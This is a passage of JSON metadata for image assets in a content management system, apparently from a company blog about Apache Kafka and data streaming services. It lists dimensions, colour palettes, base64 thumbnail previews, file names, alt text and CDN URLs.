ackground":"#4cec9c","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"data-sleek-690x413.png","path":"images/sczeoy4w/production/ecfa4ed6ba49dcab87d3bee6514bba202757716b-690x413.png","sha1hash":"ecfa4ed6ba49dcab87d3bee6514bba202757716b","size":9842,"uploadId":"umxFfue1lwagbPk3zOWOfoCCKyRn1XWl","url":"https://cdn.sanity.io/images/sczeoy4w/production/ecfa4ed6ba49dcab87d3bee6514bba202757716b-690x413.png"} {"_createdAt":"2022-11-02T07:01:57Z","_id":"image-d87a689961ac59cebd1d8245b24c2fb04e6c9ec8-2500x1308-png","_rev":"ZEGrre8o1hXXQpCdll6LeQ","_type":"sanity.imageAsset","_updatedAt":"2022-11-02T07:03:50Z","altText":"That's no game. [image: hand flying a paper airplane across a field of circles suggestive of planets]","assetId":"d87a689961ac59cebd1d8245b24c2fb04e6c9ec8","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAACO0lEQVQokXWSS09TQRiG+x9caqIuTNRgz6XnFMvphd4vp+WSXs6lFaqFWGRBohhgI8akBLwsKMaw0EhBiQsXEkxIXLjXjQtdGVcujC70LzxmDoIkxsWbmflm5vneb77xKYpCJBIhkUgQi8UIh8MYhuHN0+k0yWTS2xeKx+OkUqnDsyIWCoVQVRVJkpBlGZ+maZimieu6OI5DpVKhXC5TrVZpNBrUG3Usy6LuOIzV67iOQ61Ww7JtbNumVCoxMDDgwQTUJ+jRaJRcLucpk8l4zoTEejifZyJvslgcojNUYqaUxxku4dg2rVaLZrNJoVBA1/V9oCALidIF/OgYVFQa+kUeR5O8M4t8cMu8nhrnwewMd24v0ul0mJ+fY3ysQSo5iKoq+AT1f0qrKt10ls/tKX4td/j+5BEft5+y9+IZz7e2WF5ZoX11kitNl/JokaCu/XX4jyQJO6ixZ5X4ce8WX3Zf8nZ3h+3NHpsbG6x1u17JqWQCM58ml0mgaQHhcP8xDyRA+0AZp1/mzYjGz7kin9YX2Ogucf/uMr1ej2636zUwEAgcyuuyLEtoioL+JyjeTsREoqzmZz17hq+tk3xbkNi5mWJpdpKHa2usrq5iWxa6pqIqfhTvjoQvIEtEtQBxw/D+30EmAQwqEpfC5+iVj/N+4hivmie4Xg0zPdX2muFaI+QGZXKxPiIhP6pyBJgwDMJHgAcug6qfUeMsN7KnmM2dpppQqVUrTF9rc9kt4BYv4JrnGUr20a9J/AY0+H8qJaNqZgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#314637","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#143625","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f46c18","foreground":"#fff","population":4.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2aeaa","foreground":"#000","population":0.77,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f44240","foreground":"#fff","population":3.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#817a77","foreground":"#fff","population":3.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f46c18","foreground":"#fff","population":4.56,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Aiven-Azure-blog-post-announcement (1).png","path":"images/sczeoy4w/production/d87a689961ac59cebd1d8245b24c2fb04e6c9ec8-2500x1308.png","sha1hash":"d87a689961ac59cebd1d8245b24c2fb04e6c9ec8","size":664041,"title":"Aiven on Microsoft Azure","uploadId":"d9tmCtZyKrkiUgP6nXbSG4JKNNPXphBS","url":"https://cdn.sanity.io/images/sczeoy4w/production/d87a689961ac59cebd1d8245b24c2fb04e6c9ec8-2500x1308.png"} {"_createdAt":"2022-11-01T13:39:01Z","_id":"image-d696ba47d2ee04573ac297b7bc567e675c5eb3ac-1567x844-png","_rev":"lphXWqQMSgVk8QMimFNdJL","_type":"sanity.imageAsset","_updatedAt":"2022-11-01T13:39:34Z","altText":"Already using Apache Kafka®? Here’s why you should be analyzing your streaming data, not just moving it around.","assetId":"d696ba47d2ee04573ac297b7bc567e675c5eb3ac","description":"Your system works, but it could work better. A lot of businesses set up with a reasonable idea of the direction they want to take their product, but not how to get the most out of the data they’re collecting.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACfElEQVQokXWT30tTYRjHz3/RTXfd9R90FyIG4YWUaWgXGmOIgoSWgpKViyL8hVJZUWSIkWl2EZiSZZvTOVMLbenm5nZ2dnZ2zns2p85BYHziHJJE6uLD+zzPxZfP+0tStQxRWWczlkKOG8iKQSxuoROVU/bcqpPaFoaZQ6T37NUw9zCs+ghScCPO3Pwy7hk/s74lG5//qz3zzi4yO7fE0nKASDSJLnYPBeYQYgeREJghBTOoIGQDaS0YY8a7wNQnL9NuH5/dPjzeBRur9s4tshoIE0+IP4E5hLmNqRtkQivsTIySf/iAfM9Tcs/GkBQ1zUYkwXpIxrINbSh2Hwordh/eVInGBXF1C03fQTcyaEkVNfydxIfnqB0ODOc5tksr2DvvRDrQP4plY62qlmVlXWU5oCAnTBQlwVpglXnPFJMvuhm+7uBVTTmTlRdZOFeJZJ3J/zAzeyhaFv+3GPPLEeJxHTkm4/fPMzrymvt9PbQ0X6XOcZmWGif36uqQjCMhhy2tXtO32fwRRl5YRA+GiEYieDweBgYG6O3t41pTMxUVlVRVV+N0OpHEP7Z7MLMtFZlt90vyIx2kvROsrazwfmKC/v5+ujo7aWxsoLS01Ka8vBxJaBk0xUBRBMlU9m+gZSy2yAbG+Tl0gf3e0+y+cbE+/Y7hoUFutbfT2tpKfX09ZWVllJSUUFxcjCQSOmpYYTOSwLpx+2nYgXnMlEJusZP9wZPsdx1DdBUy3d2Iq6mBK04nd9vauO1yUVtba9sVFRUhCSOLrmXsn5Aydg4Z5kkng+S/NPNr7AS7j47ju3GKm1VnqThTyJ1LlXx8/ITxsbd0dXfjcDgoKCjgN7S42N73gceZAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#364358","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e1f37","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f99110","foreground":"#000","population":3.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcc9","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c9c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6480ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f99110","foreground":"#000","population":3.59,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Make_your_streaming_data_work_for_you_blog_hero.png","path":"images/sczeoy4w/production/d696ba47d2ee04573ac297b7bc567e675c5eb3ac-1567x844.png","sha1hash":"d696ba47d2ee04573ac297b7bc567e675c5eb3ac","size":429632,"title":"Already using Apache Kafka®? Here’s why you should be analyzing your streaming data, not just moving it around.","uploadId":"j6HuTKawS2gXYpyxBZn2RpFHySWLQRfO","url":"https://cdn.sanity.io/images/sczeoy4w/production/d696ba47d2ee04573ac297b7bc567e675c5eb3ac-1567x844.png"} {"_createdAt":"2022-11-02T09:32:03Z","_id":"image-1ab9ddd65ee561a8af99aa35b2637d0b0fe2388c-512x512-png","_rev":"ZEGrre8o1hXXQpCdllkhHm","_type":"sanity.imageAsset","_updatedAt":"2022-11-02T09:32:03Z","assetId":"1ab9ddd65ee561a8af99aa35b2637d0b0fe2388c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"epM%TERj.mt7xa~Vofx]ofM|E1oMRPR*so-pf6bcj[oej]j[axj[M|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAEv0lEQVQ4jTXPa1ATBxAA4CN3EEQopjhW2qpT7QytdYaOra1TsbRqmYqt1RoLgqAWowgFIwRCTCSCJAwUw0sIxKAwPMQIgiCgIggqBQFJUBElJjxDcne5Ry7v+KcTWnf2x+7MfrO7gMuFu97iTpc7rVbDhLL/eml2g/BUlyipv4DTJ0lvE5+u5P5ZlZcxPtprthjsTszhwpbmCcDpwlzuyt3D+tcP22raCtJ7888MSTijxdyxMr5SJhyoEHZIswa7FSiifYcJp4sEHE6j27/FHE7jnHqkr67gwcWU4cJUZVHaeHHGi3K+ujpntqnouaJouKN6YeaZzWl0uDCHGxOAzYHYnajThdls8OzEoyf1+YPFnNEizngx93kJb6KMr756QddSouu6PNXTsKB5arUjDhfuWHoTMFv1FpvB4TRaLXqt8n6/PLtDlHBXlDh0Me1ZCV9Vwh8tzxy7Kp5svvTmwfVF7ZjFCtudmPt4JwaQ5gXKorc7UBKfG+lpvno+URy398KRPZV/RSq4xxu5xyvZsaXsI/U5KT0NZeqJIcpssNiMFhtqtaMATs6R1ILVjsB6TZdCLmHHCKLCkn/dnhQekrJvpyAinB+xO+vo/vK0E42lItVIH2HSUxaEssBmKwJgxCxhmrfYYBTWPGypruazpIkH8mLCM5m7RLG/FZ2MLD0RUc2Ja8/n9dYUT6kGSJPeZEZMFExZEMCIzyxhA4nPvOhpahez689EyU/+XhXPbBfE38tJvcVP7MxmD1WIX3fWIxoVSRlICnZjMwKg2DROzlKWRZKY1TxueyThdmYcaz4dqUiK7BYm/PN3xkBu+tNCwfS1UuPAbVI3SVAGgoLd3owAiFGDYlqcnMewae1gx8glwcOsE53pMYqkiFZuXI8o9UkBT31ZjLVXmZ92m/Rq3GTATe+wHlYbkDcwqkVQ7cxY76g850E2q5Ub3Zgc0ZJ2tDvnzEDxuVc1ecidamK8D4e1uAkm/scooNNPLRqmFg3q6dmJkb72++XCexfibmUcajp98HZqTH8Oe7gsc7IuT9MmG77d0N9/9+WrZwi6QFIIaUaBBd2rufmXyvGB2nr52bQkcULkTcHhO8KYTl70fcHxkULuZE2u+oakRyZKYR0++MeBvPxc5fgoTsIkZQTm51+qVI8vSsQ7d/7w2aefMEM3S5P23+RHt/Jju7JOPS45q6rLVzVKKoXJ3wZvZDAYu8J+amq5YUB1hAkBNG+U1xqqwsJ2+Pn5+i6jhwZvyI3bfSWVKWMzr6THKMTJdysy78myzidEBa1fu8zHd/OWLRXyyjndDEGhQG2tjMU6smbNRyAI0j2h4PWBZw/tkKcypWxmRVp0vSixtZAjO8eK+vm7jwNXvefP2LgpmCcQDA0PzummgW0hW9etW+vt7U1bikCGX0RocEH8XhnnUBXvWG1WvDQ9Nu6XbUFrP/Bdvny5r//KVatDtn/P5fGkFVKATqdDEASCII1G8/Cg0T2hDYEr92zddCx828l9P7L2hu4L+TJozSofuhcEeXrRvb3o3oz3A4I+/+Krr78B/lsIgiAEQTQaSPPw8ILAFb4+qwP8P1zJWB3gz/DzoXtCNA+PpRlPEITo3sv8GQErGAH/AtiO0J4lE7CoAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#523e30","foreground":"#fff","population":2.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c78f76","foreground":"#000","population":13.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c69a8d","foreground":"#000","population":0.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec9c8c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a7765a","foreground":"#fff","population":10.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c78f76","foreground":"#000","population":13.99,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ap-repo.png","path":"images/sczeoy4w/production/1ab9ddd65ee561a8af99aa35b2637d0b0fe2388c-512x512.png","sha1hash":"1ab9ddd65ee561a8af99aa35b2637d0b0fe2388c","size":270392,"uploadId":"QDKp4gFy6TQtsFbkNnBrYmHjPxUX2EdY","url":"https://cdn.sanity.io/images/sczeoy4w/production/1ab9ddd65ee561a8af99aa35b2637d0b0fe2388c-512x512.png"} {"_createdAt":"2022-10-26T06:14:24Z","_id":"image-83c9368a34fb8e8c80bf54a0fbec0692d87b823c-1422x800-png","_rev":"BevikNvgqUTKZ0lbD0R5ls","_type":"sanity.imageAsset","_updatedAt":"2022-10-26T06:26:22Z","altText":"Analytics pipeline demo for Apache Kafka ecosystem","assetId":"83c9368a34fb8e8c80bf54a0fbec0692d87b823c","description":"Outside of the core services, we have a few extra stops along the way:\n- The Kafka Connect® framework for subscribing to the Digitransit MQTT feed\n- M3DB as a time series database along the top\n- A Grafana® instance for dashboards","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7775,"height":800,"width":1422},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACPElEQVQokTXSyW7aQACAYT9+1XsvPVXqcoiqRE1aUiBAIaZhs43jFe/2ePB4G8/YBkMAp1KkSv8TfPoZgFqA2uB/MH1NSUvrC61bumvp7pVUr0l+0f3dWEwfxVS389B2I9uEkDIWOCn28dk4PBsH2Tpozs5ySKglqZ6SZE93F1KdIdrNZPR5YHx7MBa86fEjtL7feiEjWYepUA1mdDinkyWZLFC/p7GfnuyvSywAmu1wsfdAzmlRj4cDIZKN2FXVQOFDkDOS0Uw42mWLHkvGSzJeoF8dpf9lrl2tkt9iMtxEfw1XUm1bB6ELI4DiKIJ2BIw4JYxkNixfdh9Jl6XjJZ3M0R/W5fnQk7Zh59l41928v3Y6V7F8Xdp3ldMpg34Fbkvwk+Y+s1bo5CkeTdMpV67kWlCIZpFt2uT4GK2B/nGgfvjhDzvZple6D7XVqYxb4tzhYEjyLbNivdGNwD6YokIM7+hvTzE+kzfqAmUpt4oECYURximlWZm4pcul/gahGJOGUSYC9/2O6y9kJbeClzC+JEW7xacgPcYoJ+a6cJQcoSzGGcTY8wtbhhB5+TEtL4wl8jp7qywX6gYb/jGMLzA7LSxyv04EPfcVC/BcIK59XvKGHBzNoSrPvGwAGgefGW0TPku6ogHT3zvwDJM2TF+mWnYzC5cb6vlVYEWBGfqK64zEgJWAFz8G9b1Tm9kLI6rpUgzXamKB5u2wFuGzHdaSjUHSFFVbVOeiPmVFE/gY+DjOD06812EdFad/xN48hhysCscAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1a1b7e","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#111252","foreground":"#fff","population":0.59,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8d95bc","foreground":"#000","population":4.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8d95bc","foreground":"#000","population":4.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90def6","foreground":"#000","population":0.27,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#827d6f","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f29b16","foreground":"#000","population":3.09,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"metromap-v2.png","path":"images/sczeoy4w/production/83c9368a34fb8e8c80bf54a0fbec0692d87b823c-1422x800.png","sha1hash":"83c9368a34fb8e8c80bf54a0fbec0692d87b823c","size":111402,"title":"Digging into the underground","uploadId":"rI479tdqPYmfdCAsXRySJyqnCpiPsvAs","url":"https://cdn.sanity.io/images/sczeoy4w/production/83c9368a34fb8e8c80bf54a0fbec0692d87b823c-1422x800.png"} {"_createdAt":"2024-02-19T17:23:04Z","_id":"image-e94b259cb9f7d7bd5562ab4ad4fda62cebdc5763-1496x1036-png","_rev":"ie5WJlLr1SLUBaBgCm43cC","_type":"sanity.imageAsset","_updatedAt":"2024-02-19T17:23:04Z","assetId":"e94b259cb9f7d7bd5562ab4ad4fda62cebdc5763","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V7SPeBt,-;-;M}~W%MxvWAR+-DxaNFWAWBys9Z$%xZRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.444015444015444,"height":1036,"width":1496},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAABuklEQVQokXWS244bIQxA5/8/s1olk07CxXeMYSom21T7UOs8IOSDZZttzjPmGeObcZ1B4yvbr5c9wKlFHzPmm3NcvJXNY77pb8Y6k8WB/gB/USNVb9K79eh9jD6+c1ofW4vh8XlyjjkjevOmzcRMBAx3hy/H3bW4a++t99bctfmS+5jzfMc8R0RjFVAhFgRIkO6QviDdoByABRCQkJlY+Ic8zzmHu1amwkwV8cjlSPmV8++UHik/UtlTPUotUJFw8xhxyfM8Y0aP1gyYCzMwA2JFrIQFoFQoALVCBYKrsix5+XP0EeSStSRJiRNItSZXa7padYveonvEoveurW/aOzbDZmD6FLjh84bHjq+DazV532NT6/5vMuc5xlQfG7V2EO3AO8i9yr3SDnQQJ5EX6QNkgVRU+oj51//I/lPmB8iTJYkeJLfK98o7UFbxazhzTfWMt6weoFZEs+qqxrwQehJecGLJImRt7eX6RT1mi6EeW/POaiTK+sFQJNeaoZKIqC3M1uisaWtqjUWBeFNVACilAgAz6wpTUbpCZVlmpmoigoiw1lVzzq+UvuVaKyKaWfw/3J2IPski8gcTTSmzkI2KTgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#345c80","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9ecbb0","foreground":"#000","population":0.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ecbb0","foreground":"#000","population":0.75,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccc74","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6587a7","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1963c","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-tiered-terraform-unified-log.png","path":"images/sczeoy4w/production/e94b259cb9f7d7bd5562ab4ad4fda62cebdc5763-1496x1036.png","sha1hash":"e94b259cb9f7d7bd5562ab4ad4fda62cebdc5763","size":24919,"uploadId":"xtKBUsOL3ouECnnuetRUeT7LjQNZzmu4","url":"https://cdn.sanity.io/images/sczeoy4w/production/e94b259cb9f7d7bd5562ab4ad4fda62cebdc5763-1496x1036.png"} {"_createdAt":"2022-11-28T12:52:32Z","_id":"image-eaa2916eb3a7e73e6d68f575f38c686838d9114b-2500x2500-png","_rev":"v53ZsDDD1bdWz9EKVW1g5Z","_type":"sanity.imageAsset","_updatedAt":"2022-11-28T12:54:36Z","altText":null,"assetId":"eaa2916eb3a7e73e6d68f575f38c686838d9114b","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eAIzbZ?b000i0gMfaM59EK^G00-$7ORRXm*GIr;fw4F|AGIXoMnh=X","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b4b35","foreground":"#fff","population":0.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#511606","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6c309","foreground":"#000","population":3.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cb4c4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9502e","foreground":"#fff","population":0.96,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d8470","foreground":"#fff","population":0.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6c309","foreground":"#000","population":3.91,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Event_driven_solutions_hero_image_update.png","path":"images/sczeoy4w/production/eaa2916eb3a7e73e6d68f575f38c686838d9114b-2500x2500.png","sha1hash":"eaa2916eb3a7e73e6d68f575f38c686838d9114b","size":1782343,"title":"[Person looking at a phone, surrounded by small images: hands on a laptop, hands holding a phone, wok ingredients being tossed]","uploadId":"Pvl6OeqIks5U6Hq2qa025Y6iyQ2nK3ns","url":"https://cdn.sanity.io/images/sczeoy4w/production/eaa2916eb3a7e73e6d68f575f38c686838d9114b-2500x2500.png"} {"_createdAt":"2022-11-28T12:52:59Z","_id":"image-7bf9890e687805d9fa9ada390c5d0d7481779040-2500x2500-png","_rev":"RAyRTsSFAoDoj6Nvfx6Vhe","_type":"sanity.imageAsset","_updatedAt":"2022-11-28T12:53:19Z","altText":null,"assetId":"7bf9890e687805d9fa9ada390c5d0d7481779040","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMIgKB}ND4T515KR+H#jGbS50JETBr,A=sOBKOwb$ySz5kK3t6ox,p","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAF4UlEQVQ4jT2SeVDUBRTHnxBkHimiS2uA5pHsRkYIiFogUzppAiFyGYoRyxLXwrIkccjCAC1oXCss7LL7Y2+W2+XQSaPUskxFLdIYlZxUPBAU8CBl32vApjfznfffZ77v+75AnsFAnjtgenvsmNaFSF84LQ4Dygf4KiXeKjGjZJYgt3pBeqFiUYaEYU1pb5HCLjWnzDYkkgfrt0RBdLwIXF1dAcjjPxD3UyC3MMAwH7hS6gR0TQJT4x9X9lpYVktIlORkLr/816JE6ZnChMpfi+IP9KR9lq3xDtgtmrl2Rw4E8iUgFAoBaM0Ld+ixw4rWbrehdUE2oy7RVqE7AZR+YB3+RcGGsH1HmnZVXL3NV94dStEO3UvRDA0n1Vzu25PXJtwa+eXCzXE1sF2oBi8vLwBy2Tnl0Iq8gl9Bz+BX0TN43mT4ejva7+D0WDJ3nXJvSGasuOnSbukAxTIPKLXhMQlNEyRg/n4Q+3X3N5EJec4B6c3gHtcJpd+UAtCZOYBrt9uSZ/A8fC/QDpPcl2CR4zYqX5A/IXVuO3EgtC9rv3EsrnbAksDcRYFmyJKsGaak2v7x5JJD6uxC6Tv0vHcGLDsDJr0BgDSOgF7BtrguyI72ui3DKsddeHBRO0nn33xUu/rpcVWGJa/mGKaqb6FQP4xC7V0UMDcp8eDZCVFJY0+1Urvz1KkTLE37LzOmQ6cuO8BVEdaU5snGmqWfoop9hOT2o8+r7GlQ4UuH9VIq1JzDdMN9TG8YJZFhBEX6eySo6p3MKtZf1yo15T8e/XZ1+8+XrYgIgA4AUMVb1tjg5IGmxfWkYz2wqBbSsJyDvUwMNujqMU91GlM0dzBV/wBTtfcxRTuE8RXnKS9XOdJWVFp1UcWsAiL4JYYPQN87Ah5mz8FO9h5qd/jNYnKwjGi4+Lt2D3YbKqmyug6TS9oxTtZPiapblKS8gfHKm8grPUdF+5Tj32UWqm+n5bzdAgAHnl4DoO9enwI6YjdbQmbWvScmZ7qkDcSjjZVoMupRXFSG0fuMlKS8TqKGMRIZRzFZN4b8qn4qztdOnkoTnxiNTNxC9httaDrDFw452M1myMwaH2tYTqfVUWhu1mBTUxMWlEgpOr+dkjQjlGUmyj6EJDBNIq96AIuzVXQ2Ju2Pp1t3R9HyLbNeAI87TQFdsZutIzPr8SPTUj